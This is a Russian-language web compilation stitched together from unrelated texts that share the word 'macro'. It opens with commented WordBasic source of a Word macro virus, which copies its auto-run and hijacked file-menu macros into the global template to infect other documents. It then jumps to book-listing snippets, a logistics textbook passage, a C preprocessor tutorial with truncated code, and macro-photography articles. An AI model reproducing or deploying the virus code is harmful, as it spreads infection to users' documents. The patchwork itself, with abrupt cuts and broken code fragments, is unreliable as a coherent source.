Пример макро-вируса

Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.

Macro name: AutoNew ”U”

Encryption key: DF

’Включаем обработку автоматических макросов

DisableAutoMacros 0

’Проверим, установлен ли макрос. Если макрос AutoExec

’присутствует, считаем, что файл заражен

If (Installed=0) And (ForgetIt=0) Then

’Заразим. Копируем макрос

MacroCopy WindowName$()+”:AutoExec”, ”Global:AutoExec”, 1

MacroCopy WindowName$()+”:AutoNew”, ”Global:AutoNew”, 1

MacroCopy WindowName$()+”:AutoOpen”, ”Global:AutoOpen”, 1

MacroCopy WindowName$()+”:DateiSpeichern”, ”Global:DateiSpeichern”, 1

MacroCopy WindowName$()+”:DateiSpeichernUnter”,

”Global:DateiSpeichernUnter”, 1

MacroCopy WindowName$()+”:DateiBeenden”,

”Global:DateiBeenden”, 1

MacroCopy WindowName$()+”:ExtrasOptionen”,

”Global:ExtrasOptionen”, 1

MacroCopy WindowName$()+”:DateiDokvorlagen”, ”Global:

DateiDokvorlagen”, 1

MacroCopy WindowName$()+”:It”, ”Global:It”, 1

MacroCopy WindowName$()+”:DateiDrucken”, ”Global:DateiDrucken”, 1

’Функция проверяет, инсталлирован ли макрос AutoExec

Function Installed

’Установим переменную Installed в 0 (инициализация переменной).

’При положительном результате проверки установим ее в 1

’Проверим, есть ли макросы

If CountMacros(0) > 0 Then

’Проверим имена макросов. Если есть AutoExec,

’установим переменную Installed в 1

For i=1 To CountMacros(0)

If MacroName$(i, 0)=”AutoExec” Then

Function ForgetIt

Section$=”Compatibility”

ProfilName$=”Nomvir”

BlaBla$=GetProfileString$(Section$, ProfilName$)

If BlaBla$=”0x0690690” Then

Из книги КОМПАС-3D V10 на 100 % автора Кидрук Максим Иванович

Создание библиотек с помощью КОМПАС-Макро КОМПАС-Макро – это интегрированная в систему КОМПАС-3D среда разработки конструкторских приложений на основе языка программирования Python. Почему за основу взят именно Python? Во-первых, Python распространяется бесплатно и, как

Из книги Бесплатные разговоры через Интернет автора Фрузоров Сергей

Проникновение вируса через брешь в операционной системе А теперь рассмотрим самый опасный способ проникновения вируса, который никак не зависит от внимания пользователя. Речь идет о «дырах» в операционной системе. Дело в том, что Windows постоянно совершенствуется,

Из книги Наглядный самоучитель работы на нетбуке автора Сенкевич Г. Е.

Что происходит при обнаружении вируса? Антивирус Microsoft Security Essentials постоянно наблюдает за выполняющимися на компьютере программами и файлами, к которым те обращаются. Это и есть защита реального времени.Если в ходе наблюдения обнаружена угроза безопасности компьютера,

Из книги Создаем вирус и антивирус автора Гульев Игорь А.

Глава 4 Макро-вирусы В этой главе рассказано о макровирусах. Подробно описана процедура и методы заражения файлов. Представлен исходный текст макровируса с подробными комментариями. Приведены основные сведения о языке VBA, его процедурах, функциях, стандартных

Из книги Искусство программирования на языке сценариев командной оболочки автора Купер Мендель

Protected Mode – укрытие для вируса Персональные компьютеры год от года становятся все сложнее и сложнее, используют все более высокие аппаратные и программные технологии. Компьютерные вирусы тоже не отстают и пытаются приспособиться к новым условиям обитания. Так, вирусы

Из книги Графология XXI века автора Щеголев Илья Владимирович

Поиск вируса Когда во время работы компьютер начинает вести себя как-то необычно, первая мысль, приходящая на ум любому пользователю – уж не вирус ли это. В такой ситуации важно правильно оценить свои подозрения и сделать выводы.Как правило, человек, обладающий некоторым

Из книги автора

Как исследовать алгоритм работы вируса Ситуация, когда компьютер оказался заражен неизвестным вирусом, встречается не очень часто, но полностью сбрасывать со счетов такую возможность нельзя. Выше рассматривались способы обнаружения вируса и выделения его в чистом

Из книги автора

Блокировщик вируса Рассмотрим пример. В дисплейном классе ВУЗа эпидемия, часть машин заражена неизвестным вирусом. До конца сессии – несколько дней, выключение машин из учебного процесса смерти подобно (в первую очередь для обслуживающих класс сотрудников). Ситуация

Из книги автора

Пример 9-3. Еще один пример ограничения времени ожидания ввода от пользователя #!/bin/bash# timeout.sh# Автор: Stephane Chazelas,# дополнен автором документа.INTERVAL=5 # предел времени ожиданияtimedout_read() { timeout=$1 varname=$2 old_tty_settings=`stty -g` stty -icanon min 0 time ${timeout}0 eval read $varname # или просто read $varname

Из книги автора

Пример 10-27. Простой пример сравнения строк #!/bin/bash# match-string.sh: простое сравнение строкmatch_string (){ MATCH=0 NOMATCH=90 PARAMS=2 # Функция требует два входных аргумента. BAD_PARAMS=91 [ $# -eq $PARAMS ] || return $BAD_PARAMS case "$1" in "$2") return $MATCH;; *) return $NOMATCH;; esac}a=oneb=twoc=threed=twomatch_string $a # неверное число

Из книги автора

Пример 12-20. Пример форматирования списка файлов в каталоге #!/bin/bash# За основу сценария взят пример "man column".(printf "PERMISSIONS LINKS OWNER GROUP SIZE DATE TIME PROG-NAME " ; ls -l | sed 1d) | column -t# Команда "sed 1d" удаляет первую строку, выводимую командой ls,#+ (для локали "С" это строка: "total N",#+ где "N" -- общее

Из книги автора

Пример 24-2. Еще один пример проверки аргументов с помощью "И-списков" #!/bin/bashARGS=1 # Ожидаемое число аргументов.E_BADARGS=65 # Код завершения, если число аргументов меньше ожидаемого.test $# -ne $ARGS && echo "Порядок использования: `basename $0` $ARGS аргумент(а)(ов)" && exit $E_BADARGS# Если

Из книги автора

Пример 25-8. Пример реализации алгоритма Решето Эратосфена #!/bin/bash# sieve.sh# Решето Эратосфена# Очень старый алгоритм поиска простых чисел.# Этот сценарий выполняется во много раз медленнее# чем аналогичная программа на C.LOWER_LIMIT=1 # Начиная с 1.UPPER_LIMIT=1000 # До 1000.# (Вы можете

Из книги автора

Из книги автора

Из книги автора

Макро– и микрографометрия Вне рамок приведенной выше схемы графометрические признаки можно подразделить на макропризнаки и микропризнаки. Макропризнаки выражают характеристики всего образца (например, размер полей, читабельность, отделяемость букв, наклон букв,

Микрологистические системы - это подсистемы, структурные составляющие макрологистических систем. Они связаны с определенным предприятием и предназначены для управления потоками в процессе производства, снабжения и сбыта. В зависимости от целей ЛС и от степени охвата базисных ЛО различают следующие виды микрологистических систем:

1. внутрипроизводственные ЛС оптимизируют управление МП в пределах технологического цикла производства продукции (снижение запасов МР и незавершенного производства, ускорение оборачиваемости оборотного капитала фирмы, уменьшение длительности производственного периода, управление запасами МР, оптимизация работы технологического транспорта);

2. внешние ЛС решают задачи, связанные с управлением потоков от их источников к пунктам назначения вне производственного технологического цикла. Это снабженческие и распределительные задачи, такие как рационализация движения МР и ГП в товаропроводящих цепях, сокращение времени доставки МР и ГП и времени выполнения заказов потребителей, транспортировка, складирование, грузопереработка, согласование целей поставщиков, посредников и потребителей;

3. интегрированные ЛС включают в качестве элементов внутрипроизводственные и внешние логистические системы.

Мезологистическая система - объединение нескольких предприятий-партнеров по цепи поставок, преследующее общие цели и согласованно управляющее сквозным МП.

Макрологистическая система - крупная система управления МП, охватывающая предприятия и организации промышленности, посреднические, торговые и транспортные организации различных ведомств, расположенных в разных районах, регионах страны или в разных странах. Цели макрологистических систем могут отличаться от целей микрологистических систем, т. е. быть экологическими, социальными или политическими, а не связанными с извлечением прибыли. Макрологистические системы различают: по признаку административно-территориального деления страны (районные, межрайонные, городские, областные и краевые, региональные и межрегиональные; республиканские и межреспубликанские; по объектно-функциональному признаку (для группы предприятий одной или нескольких отраслей, ведомственные, отраслевые, межведомственные, межотраслевые, военные и т.д.).

13.Привести классификацию продукций материально-технического назначения и вторичных материальных ресурсов, показать направления использования вторичных материальных ресурсов.

Классификация материально-технических ресурсов

1). Предметы труда

Предметы труда классифицируются на несколько самостоятельных групп.

1. Черные металлы - прокат, железнодорожные рельсы, балки, швеллеры, сталь различных сортов (инструментальная, конструкционная, быстрорежущая).

    Метизы -металлические изделия, проволока различных сече­ний и сортов, стальная лента, сетка, канаты, гвозди, сварочные электро­ды.

    Сырье для черной металлургии - шихтовые материалы, же­лезная руда, стальной и чугунный лом, металлургический кокс, чугун передельный и литейный, ферросплавы.

    Трубы -металлические: стальные, чугунные, эмалированные, бес­шовные, сварные, нефтяные, газовые, водопроводные; неметаллические: железобетонные, керамические, асбоцементные, стеклянные.

    Цветные металлы - медь, алюминий, свинец; сплавы из них -латунь, бронза; прокат из них - лист, труба, пруток; сырье для цветной металлургии.

    Нефтепродукты - авиационный и автомобильный бензин, дизельное топливо, мазут, различные масла (авиационное, дизельное, автомобильное, трансформаторное).

    Химикаты и резинотехнические изделия - продукция основ­ной химии: сода, кислоты и др.; органического синтеза: спирты, ацетон и др.; пластические массы и порошки; анилиновые красители; рези­нотехническая продукция.

    Лесные материалы - деловая древесина; пиломатериалы, го­товые изделия из древесины (фанера, столярные плиты, тарная доска).

    Бумажно-целлюлозная продукция - бумага (газетная, писчая, типографская, упаковочная); картон (тарный, переплетный, кровельный); изделия из бумаги (мешки, картонная тара, обои, пергамент).

10 . Строительные материалы - цемент различных марок, шифер, мягкая кровля; стекло оконное и зеркальное; асбест; краски; санитарно-техническое оборудование.

11. Сырье для легкой промышленности - хлопок-волокно; льно­волокно, волокно пеньки, джута; шерсть натуральная и восстановленная; шелк-сырец; химическое волокно; пряжа (хлопчатобумажная, шерстя­ная).

Макросы в C

Как писать макросы? Как сделать макрос? Как создавать макросы? Где найти информацию по макросам на русском? Такие вопросы - нередкость. Эта статья для начинающих, её можно было бы назвать «макросы для чайников» или «простой учебник по макросам»

Прямо сейчас разберемся, как написать макрос и рассмотрим примеры макросов. Но прежде ответим на естественный вопрос: зачем нужны макросы?

Для чего нужны макросы?

Для чего нужны макросы? Речь идёт о макросах в C. Макросы позволяют упрощать программу: вместо фразы можно указать её идентификатор. Есть макросы, подобные функциям, текст такой «функции» подставляется на этапе предварительной обработки в место её вызова, что потенциально повышает скорость выполнения программы, ведь нет вызова функции. Эти действия выполняются препроцессором. Есть и другие плюсы работы с макросами, но есть и минусы, о чём будет сказано ниже, когда мы перейдём к примерам создания макросов.

#define

#define в C - это директива, которая применяется при определении символических констант, идентификаторов, макрофункций. Макросы, по-английски macro, бывают двух типов: подобные функциям и подобные объектам. В нашем самоучителе по макросам мы рассмотрим работу с этими типами макросов.

Пример макроса

Пример для макроса-объекта. Это определение символической константы:

// @author Subbotin B.P..h> #define SBP"SBP-Program" void main(void) { printf("\nSymbolic const sbp = %s\n\n", SBP); }

Здесь определена символическая константа

#define SBP "SBP-Program"

SBP - это идентификатор,
"SBP-Program" - это строка, которая будет подставлена вместо SBP.

Получаем:

#define SBP "SBP-Program"

это макроопределение.

Если не указывать строку, которая подставляется вместо идентификатора, то вместо идентификатора будет подставлен пробел. Пример:

// @author Subbotin B.P..h> #define IDENTIFIER_EXAMPLE void main(void) { IDENTIFIER_EXAMPLE char *sString = "An identifier"; printf("\nIdentifier example = %s\n\n", sString); }

Определяем идентификатор:

#define IDENTIFIER_EXAMPLE

Вместо него в программе будет подставлен пробел.

Получаем:

Если строка-подстановка не помещается в строку файла, то применяем обратную косую черту в качестве знака переноса. Пример:

// @author Subbotin B.P..h> #define SBP "SBP-Program " \ "SBP-Program" void main(void) { printf("\nSymbolic const sbp = %s\n\n", SBP); }

Получаем:

Отметим, что макросы, подобные объектам, не принимают параметры.

Пример макроса-функции

Рассмотрим простой пример макроса, подобного функции, такие макросы ещё называют макрофункциями:

// @author Subbotin B.P..h> #define mCircleLength(r) (6.28318 * (r)) void main(void) { printf("\nCircle length = %.2f\n\n", mCircleLength(12)); }

Получаем:

#define mCircleLength(r) (6.28318 * (r))

это макроопределение. И что здесь определено? mCircleLength - это название макроса. Префикс m подсказывает нам, что это именно макрос, а не обычная функция. Макрос mCircleLength подобен функции, он принимает параметр r.

Напомню, что макросы, подобные объектам, не принимают параметров.

Что вычилсяет макрос mCircleLength? Он вычисляет длину окружности. Длина окружности равна 2Пи умножить на радиус. 2Пи = 6.28318.

Препроцессор в место вызова макроса подставит наш макрос, т.е фактически строка printf будет выглядеть так:

printf("\nCircle length = %.2f\n\n", (6.28318 * (12)));

После имени макроса в макроопределении, перед первой открывающей скобкой не должно быть пробела. Это важно. Если пробел будет, то мы получим определение символической константы.

Рассмотрим тело макроса

оно охвачено круглыми скобками. Это существенно в общем случае. Параметр r также в скобках. И это важно.

Вот примеры того, что может случиться, если пренебречь скобками:

#define mSum(param) param + 2
...
int nVar = 10 * mSum(5);

после подстановки тела макроса получим:

int nVar = 10 * 5 + 2;

nVar будет хранить число 52, а не 70, как мы ожидали.

Теперь рассмотрим последствия отсутствия скобок вокруг параметра. Если в наш макрос mCircleLength будет передан параметр в виде суммы, например, 1 + 2, то получим:

#define mCircleLength(r) (6.28318 * r)
...
(6.28318 * 1 + 2)

Вывод: скобки во многих случаях нужны.

Как с помощью макроса превратить объект в строку?

Вот пример такого макроса:

#define mIntToStr(nVar) (#nVar)

в этой макрофункции строковый оператор (так его иногда называют) # подействует на параметр nVar, в результате nVar будет охвачен кавычками. Код:

// @author Subbotin B.P..h> #define mIntToStr(nVar) (#nVar) void main(void) { printf("\n3 = %s\n\n", mIntToStr(1 + 2)); }

Получаем:

оператор # охватил параметр 1 + 2 кавычками, превратив его в строковый литерал. Если убрать # в макроопределении, то макрос mIntToStr сложит 1 + 2. Пример макроса:

// @author Subbotin B.P..h> #define mIntToStr(nVar) (nVar) void main(void) { printf("\n3 = %d\n\n", mIntToStr(1 + 2)); }

Получаем:

Как с помощью макроса объединять строки?

Строки в C можно объединить с помощью оператора ##. Пример макроса:

// @author Subbotin B.P..h> #define mFIO(cQuote, szFamily, szName, szPatronymic) (cQuote##szFamily##\ szName##szPatronymic##cQuote) void main(void) { char *szFIO = mFIO("\"","Subbotin ","Boris ","Pavlovich"); printf("\nFIO = %s\n\n", szFIO); }

Получаем:

Указатели в макросах

В макросах можно использовать указатели. Пример макроса с указателями:

// @author Subbotin B.P..h> #define mSum(pVar1, pVar2) ((*(pVar1)) + (*(pVar2))) void main(void) { int nVar1 = 5; int nVar2 = 8; int *pVar1 = &nVar1; int *pVar2 = &nVar2; printf("\n%d + %d = %d\n\n", nVar1, nVar2, mSum(pVar1, pVar2)); }

Получаем:

Обратите внимание на расстановку скобок в теле макрофункции.

В макросах можно использовать локальные переменные. Если имя такой локальной переменной совпадёт с именем глобальной, то глобальная переменная будет закрыта локальной внутри макроса. Но присвоение значений локальной переменной не повлияет на глобальную. Пример макроса:

// @author Subbotin B.P..h> #define mSum(pVar) int mr_nVar = ((*(pVar)) + 1);\ ((*(pVar)) = (*(pVar)) + mr_nVar) void main(void) { int nVar = 5; int *pVar = &nVar; mSum(pVar); printf("\nsum = %d\n\n", *pVar); }

Получаем:

В макросах можно применять фигурные скобки, т.о. получать блок. Пример макроса:

// @author Subbotin B.P..h> #define mSum(pVar) {(*(pVar)) += 10;} void main(void) { int nVar = 5; int *pVar = &nVar; if(nVar > 0) mSum(pVar); printf("\nsum = %d\n\n", *pVar); }

Получаем:

Двойные вычисления в макросах

Возможен вариант, когда значение аргумента макроса будет вычисляться дважды. Пример такого макроса:

// @author Subbotin B.P..h> #define mSum(nVar) ((nVar) > 0 ? ((nVar) += 10) : ((nVar) += 1)) void main(void) { int nVar = 5; printf("\nnVar = %d\n\n", mSum(++nVar)); }

Получаем:

Почему такой результат? Инкремент ++nVar рассчитался дважды. Лучше избегать использования таких решений.

В Си в конце выражения мы ставим точку с запятой

Нужно ли это делать и в макросах? Зависит от конкретного случая. Выше, в разделе имеется макрофункция:

#define mSum(pVar) {(*(pVar)) += 10;}

Если убрать точку с запятой после 10 в этом примере (см. весь пример), то компилятор выдаст ошибку.

В других случаях наличие точки с запятой ведёт к ошибке. Пример (этот пример содержит ошибку):

// @author Subbotin B.P..h> #define mList (nVar = 10; int nNewVar = 1) void main(void) { int nVar = 5; if(nVar >

В этом примере макрос развернётся так:

If(nVar > 0)
nVar = 10;
int nNewVar = 1;
else
nVar = 0;

Здесь потерялась связь между if и else.

Выход следующий:

#define mList do{nVar = 10; int nNewVar = 1;}while(0)

В этом случае макрос развернётся так:

If(nVar > 0) do{ nVar = 10; int nNewVar = 1; }while(0); else nVar = 0;

Последний вариант работает нормально. Код:

// @author Subbotin B.P..h> #define mList do{nVar = 10; int nNewVar = 1;}while(0) void main(void) { int nVar = 5; if(nVar > 0) mList; else nVar = 0; printf("\nnVar = %d\n\n", nVar); }

Получаем:

Макросы в C могут иметь переменное число параметров. Такие макросы называют variadic macros. Типичный пример variadic macro:

// @author Subbotin B.P..h> #define mMyPrint(...) printf(__VA_ARGS__) void main(void) { char *szFirst = "This is "; char *szSecond = "a variadic macro"; mMyPrint("\n%s%s\n\n", szFirst, szSecond); }

Получаем:

Правила здесь такие:

  • переменные параметры обозначаем тремя точками;
  • если имеются и именованные параметры. То переменные параметры должны быть последними в списке параметров
  • в теле макроса переменные параметры заменяют идентификатором __VA_ARGS__

Теперь пример макроса с переменным числом параметров и с именованными параметрами:

// @author Subbotin B.P..h> #define mMyPrint(szFormat, ...) printf(szFormat, __VA_ARGS__) void main(void) { char *szFormat = "\n%s%s\n\n"; char *szFirst = "This is "; char *szSecond = "a variadic macro with one named argument"; mMyPrint(szFormat, szFirst, szSecond); }

Получаем:

Итак, если имеются именованные параметры, то переменные параметры идут последними в списке аргументов функции. Ещё есть важная деталь в последнем примере: мы не можем передать нулевое количество переменных параметров в этом случае. Почему? Потому что, если не передать ни одного переменного параметра, то после последней запятой в списке параметов будет пробел. Вот ошибочный пример:

mMyPrint(szFormat);

в этом случае макрос развернётся в

printf(szFormat,);

здесь после запятой нет параметра, а это ошибка в Си. Вывод: как минимум один переменный параметр должен быть передан в этом случае.

Запуск из макроса другого макроса

Запуск макроса из другого макроса рассмотрим на простом примере:

// @author Subbotin B.P..h> #define mFirstMacro(nVar) ((nVar) + mSecondMacro(nVar)) #define mSecondMacro(nVar) ((nVar) * 2) void main(void) { int nVar = 5; printf("\nnVar = %d\n\n", mFirstMacro(nVar)); }

Получаем:

Вот такой результат.

Макрообъективы без преувеличения открывают новый мир фотографируемых предметов. Макросъёмка может даже заставить кого-то совершенно по-другому взглянуть на повседневные предметы. Однако, несмотря на все восхитительные возможности макросъёмки, она зачастую подразумевает крайнюю дотошность и технические ухищрения. Поскольку детальность зачастую является ключевым фактором, макроснимки требуют исключительной резкости изображений, что в свою очередь требует хорошей фотографической техники. Неожиданную важность приобретают концепции увеличения, размера сенсора, глубины резкости и дифракции. Данная углублённая статья посвящена техническому обзору взаимосвязи этих концепций.

Увеличение

Увеличение описывает размер, в котором предмет будет представлен на сенсоре камеры , в сравнении с его размером в действительности. Например, если изображение на сенсоре камеры составляет четверть размера оригинала, говорят, что увеличение составляет 1:4 или 0.25X. Другими словами, чем больше увеличение, тем меньше должен быть предмет, чтобы заполнить кадр.

Данная диаграмма является исключительно иллюстративной; пропорции не соблюдены.

Увеличение зависит от двух свойств объектива: фокусного расстояния и дистанции фокусировки. Чем ближе может сфокусироваться объектив, тем большее увеличение он обеспечивает - что естественно, поскольку чем ближе расположен предмет, тем больше он кажется. Аналогично, увеличение фокусного расстояния (зума) обеспечивает большее увеличение, даже если минимальная дистанция фокусировки остаётся прежней.

* Измеряется как расстояние от сенсора камеры до предмета. См. ниже примечание о точности.
** ФР собственно объектива (без множителей). См. ниже примечание о кроп-факторе сенсоров.

Настоящие макрообъективы способны передать на сенсор камеры изображение предмета размером с сам предмет (1:1 или 1.0X макро). Строго говоря, объектив относят к категории «макро», только если он позволяет достичь увеличения 1:1. Однако слово «макро» зачастую вольно употребляют для снимков крупным планом, который означает увеличение порядка 1:10 или более. Здесь и далее мы будем использовать именно такое расширительное толкование слова «макро»...

Примечание о точности : производители объективов не пришли к единому определению дистанции фокусировки; одни используют расстояние от сенсора до предмета, другие измеряют от передней линзы или от центра объектива. Если максимальное увеличение известно или измеримо, результаты будут точнее, чем показывает вышеприведенный калькулятор.

Примечание о размере сенсоров : если вы используете полнокадровый объектив с уменьшенным сенсором, свет, попадающий на сенсор, будет увеличен сильнее, чем при съёмке сенсором полного кадра - несмотря на то, что фокусное расстояние будет одинаковым. Происходит это потому, что уменьшенный сенсор обрезает внешние части изображения - вовсе не из-за увеличения объективом. Если вы хотите знать истинный или эффективный коэффициент увеличения, вам понадобится применить множитель фокусного расстояния (кроп-фактор), - но только при использовании полнокадровых объективов с уменьшенными сенсорами.

Увеличение и размер сенсора

Однако, несмотря на свою полезность, увеличение ничего не говорит о том, что зачастую более всего интересует фотографов: каков наименьший размер предмета, заполняющего кадр? К сожалению, это зависит от размеров сенсора камеры , которые на сегодняшний день бывают крайне различны.

Вышеприведенные примеры показаны в масштабе.
Пример компактной камеры использует сенсор размера 1/1.7" (7.6 x 5.7 мм).
25 центов США выбраны, поскольку сенсор полного кадра 35 мм имеет аналогичный размер.

На примере выше, несмотря на то, что коэффициент увеличения в обоих случаях составляет 0.25X, изображение целиком заполняет уменьшенный сенсор компактной камеры. При прочих равных, сенсор меньшего размера таким образом лучше подходит для съёмки меньших предметов.

* измеряется по короткой стороне кадра

Прирост объектива и истинная f-ступень

Чтобы объектив мог фокусироваться всё ближе, его механизм должен отодвигаться от сенсора камеры (это называется «прирост»). Для малого увеличения прирост незначителен, так что ожидаемое расстояние от сенсора до условной линзы объектива примерно эквивалентно фокусному расстоянию. Однако по мере приближения к увеличению 0.25-0.5X или более линза удаляется от сенсора настолько, что начинает вести себя так, как-будто фокусное расстояние увеличивается. При увеличении 1:1 линза отдаляется от сенсора камеры на двойное фокусное расстояние:

Примечание: диаграмма подразумевает, что объектив симметричен (увеличение зрачка = 1).

Наиболее важным последствием прироста является прирост истинной f-ступени объектива*. Этому сопутствуют все обычные характеристики, включая увеличение глубины резкости, требуемой длины выдержки и подверженности влиянию дифракции. Фактически, единственная причина, по которой мы говорим о «истинной» f-ступени, состоит в том, что многие камеры всё ещё показывают нескомпенсированную f-ступень (какой она была бы при малом увеличении), при том что f-ступень действительно меняется во всех отношениях.

* Техническое примечание:
Причина изменения f-ступени кроется в том, что в действительности она зависит от фокусного расстояния объектива. Собственно f-ступень определяется как отношение диаметра отверстия диафрагмы к фокусному расстоянию. Например, объектив 100 мм с диаметром диафрагмы 25 мм будет иметь f-ступень величиной f/4. В случае макрообъектива f-ступень увеличивается, поскольку увеличивается эффективное фокусное расстояние - не потому, что меняется собственно диафрагма (диаметр которой остаётся прежним вне зависимости от увеличения).

На пальцах, истинная f-ступень при увеличении 1:1 примерно на 2 ступени больше, чем значение, которое показывает ваша камера . Таким образом диафрагма f/2.8 становится ближе к f/5.6, а f/8 больше похожа на f/16, и т.д. Однако это редко требует от фотографа дополнительных действий, поскольку система экспозамера камеры автоматически компенсирует недостаток света, рассчитывая параметры экспозиции:

При другом увеличении истинную f-ступень можно оценить следующим образом:

Истинная F-ступень = F-ступень x (1 + увеличение)

Например, если вы снимаете при увеличении 0.5X, истинная f-ступень объектива при f/4 будет где-то между f/5.6 и f/6.3. На практике это означает, что время выдержки потребуется увеличить в 2-3 раза, а следовательно, для съёмки может понадобиться штатив.

Техническое примечание:
Вышеприведенная формула наилучшим образом работает для нормальных объективов (с фокусным расстоянием порядка 50 мм). Её использование для макрообъективов, фокусное расстояние которых намного больше, например, 105 мм или 180 мм, приведёт к некоторой недооценке истинной f-ступени объектива. Те, кого интересуют более точные подсчёты, должны использовать следующую формулу, а также знать увеличение диафрагмы (отношение входного и выходного размеров диафрагмы) своего объектива:

Истинная F-ступень = F-ступень x (1 + увеличение / увеличение диафрагмы)

У макрообъектива Canon 180 мм f/3.5L увеличение диафрагмы составляет 0.5 при 1:1, например, что приводит к приросту f-ступени ещё на 50% относительно первоначальной формулы. Однако использование формулы с учётом увеличения диафрагмы для большинства ситуаций, вероятно, не является практичным. Наибольшая проблема в том, что увеличение диафрагмы изменяется в зависимости от дистанции фокусировки, что приводит к появлению ещё одной формулы, которую производители объективов публикуют редко.

Другими последствиями истинной диафрагмы являются возможность автофокусировки и яркость видоискателя . Например, большинство зеркальных камер теряют способность к автофокусировке, когда минимальная f-ступень становится больше, чем f/5.6. Как следствие, объективы с минимальной f-ступенью, большей чем f/2.8, утратят автофокус при увеличении 1:1. Вдобавок, видоискатель при большом увеличении может стать слишком тёмным. Чтобы увидеть, на что это может быть похоже, установите на своей камере диафрагму f/5.6 или f/8 и нажмите кнопку предпросмотра глубины резкости.

Макро и глубина резкости

Чем большему увеличению подвергается предмет, тем меньше становится

Примечание: глубина резкости определеяется резкостью отпечатка размером 20x25 см при просмотре на расстоянии одного шага; применяется стандартный кружок нерезкости 0.032 мм для камер с полным кадром 35 мм.
При увеличении свыше 1X вывод в мкм (1 микрон составляет 1/1000 мм)

Заметьте, что глубина резкости не зависит от фокусного расстояния; как следствие, например, объектив 100 мм при 0.5X имеет ту же глубину резкости, что и объектив 65 мм при 0.5X, при одинаковой f-ступени. Кроме того, в отличие от фотографии с малым увеличением, глубина резкости остаётся симметричной относительно дистанции фокусировки (расстояния до ближнего и дальнего краёв глубины резкости равны).

Техническое примечание:
Вразрез с первым впечатлением, уменьшенные сенсоры камер не подразумевают никакого преимущества в глубине резкости. Несмотря на то, что сенсор меньшего размера будет иметь увеличенную глубину резкости при той же f-ступени, такое сравнение не является справедливым, поскольку сенсор большего размера имеет больший дифракционный предел диафрагмы для аналогичного отпечатка. Если использовать отпечаток с одинаковым дифракционным пределом, глубина резкости для обоих сенсоров будет одинакова. Единственным следствием из уменьшения размера сенсора будет меньшее время экспозиции, требуемое для достижения той же глубины резкости.

Дифракционный предел макросъёмки

Дифракцией называется оптический эффект, который ограничивает разрешение ваших фотографий - вне зависимости от того, как много мегапикселей у вашей камеры (см. ). По мере увеличения f-ступени подверженность снимков дифракции нарастает; при высоких f-числах дифракция становится настолько выраженной, что начинает влиять на разрешение изображения (достигается «дифракционный предел»). Дальнейшее увеличение f-ступени приводит только к деградации разрешения.

Нас окружает прекрасный мир. Каждый элемент этого мира - особенный и уникальный. Вокруг нас миллионы мельчайших существ, живущих своей собственной жизнью. О существовании многих мы прекрасно знаем, а о других - лишь когда-либо слышали или читали. Этот мир приоткрывается внимательному фотографу-любителю с покупкой своей первой фото-камеры. Предметом съёмки новоиспеченного фотолюбителя становится всё, что попадается на глаза: памятники, клумбы, листья и цветы, затем внимание переходит на людей и животных. Кому посчастливилось иметь в своём объективе функцию «Macro», тот наверняка снял десяток кадров подлетающих к цветку пчёл или ящерицу в руке.

Но мало кто знает, что можно при достаточно малых затратах окунуться в куда более интересный мир и рассмотреть мельчайших насекомых в самых удивительных деталях.

В этой статье я постараюсь приоткрыть для вас тайну бюджетного супермакро.

Моим подопытным будет маленькое растение "Венерина Мухоловка" размером с 10мм



Макрофотография - фотосъёмка мелких объектов крупным планом. Макро характеризуется масштабом съёмки и традиционно макросъёмка находится в диапазоне масштабов от 1:10 (один к десяти) до 1:1. Супермакро - от 1:1 до 5:1. Ещё более крупные масштабы обычно считаются микросъёмкой. Под масштабом подразумевается отношение размера объекта на матрице фотоаппарата к истинному размеру объекта.

Для примера, матрица стандартного и достаточно популярного фотоаппарата Canon 550D - 22.3х14.9 мм (2,2 сантиметра по горизонтали). Масштаб 1:1 означает, что насекомое размером 2,2 сантиметра займёт у вас полностью весь кадр от края до края. Теперь представьте себе качество изображения и детализацию паука, если он занимает весь экран вашего монитора.

Для обычной макросъёмки используются макро-объективы, дающие масштаб от 1:10 до 1:2. Для большего увеличения используют различные приспособления: удлинительные кольца (макрокольца), насадочные линзы (макролинзы), макромеха и т.п.

Поскольку в статье я хочу затронуть тему именно БЮДЖЕТНОГО макро, но от этого не менее качественного, макрообъективы по причине своей стоимости в тему статьи не вписываются. Например, легендарный Canon MP-E 65 f/2.8 1-5x macro стоит около 1000 $

Масштаб сильно зависит от минимальной дистанции фокусировки (МДФ). Чем ближе вы способны поднести фотоаппарат к объекту съёмки и сфокусироваться, тем больше будет масштаб. У обычного объектива минимальная дистанция фокусировки - от 0,5 метра и выше. Макрокольца и макролинзы позволяют сократить это расстояние до сантиметров.


Макрокольца - самый дешевый способ получить хорошее макро. Обычно комплект состоит из трёх – шести полых колец, которые накручиваются между фотоаппаратом и объективом, изменяя рабочий отрезок объектива, тем самым приближая точку фокусировки, но при этом сильно снижая светочувствительность объектива. При этом макрокольца никак не влияют на качество получаемого снимка (за исколючением дифракции), поскольку не несут в своей конструкции никаких линз.
Макрокольца хороши ещё и тем, что они есть почти в каждой семье, где хотя бы один из родственников когда-то увлекался фотосъёмкой. Стандартные макрокольца с резьбой M42 от фотоаппарата Зенит при наличии соответствующего переходника отлично подойдут. Но и вспышка в случае использования колец - будет очень кстати.

Масштаб при использовании макроколец вычисляется так:
Если использовать 50мм объектив, то для получения масштаба 2:1 вам потребуется удлинение 100мм, а для масштаба 3:1 необходимое удлинение - 300мм. Стандартный комплект от Зенит имеет три кольца длиной 7, 14 и 28мм. Если установить все три кольца мы получим 49мм удлинения, что с стандартным объективом Helios 44-2 с фокусным расстоянием 50мм даст нам масштаб 1:1.
Стоимость и макроколец, переходника M42 - Canon и объектива Helios 44-2 очень низка (кольца – от 20 грн, объектив – от 50 грн, переходник – от 100 грн).

Макролинзы также увеличивают масштаб. Они не влияют на светосилу объектива. Однако они оказывают влияние и на качество снимка, изменяя боке, добавляя искажения, хроматические аберрации и резкость, особенно по краям кадра. Эти искажения тем больше, чем сильнее линза меняет фокусное расстояние и МДФ объектива. Линза накручивается спереди объектива.

Ещё одной простой возможностью получить хорошее макро является использование объектива в качестве «перевертыша». Для этого достаточно развернуть объектив так, чтобы передняя линза была направлена в сторону матрицы, а задняя - на объект съёмки. Но не все фотоаппараты позволяют производить такие манипуляции. Многие современные фотоаппараты просто «не увидят» объектив, если он не подключен контактной группой к разъёму байонета. Для этого существуют специальные реверсивные кольца и переходники, имеющие в себе специальную микросхему, обманывающую фотоаппарат.

Но если переходника у вас под рукой нет, зато есть 2 объектива, «перевёртыш» проще всего сделать таким образом:

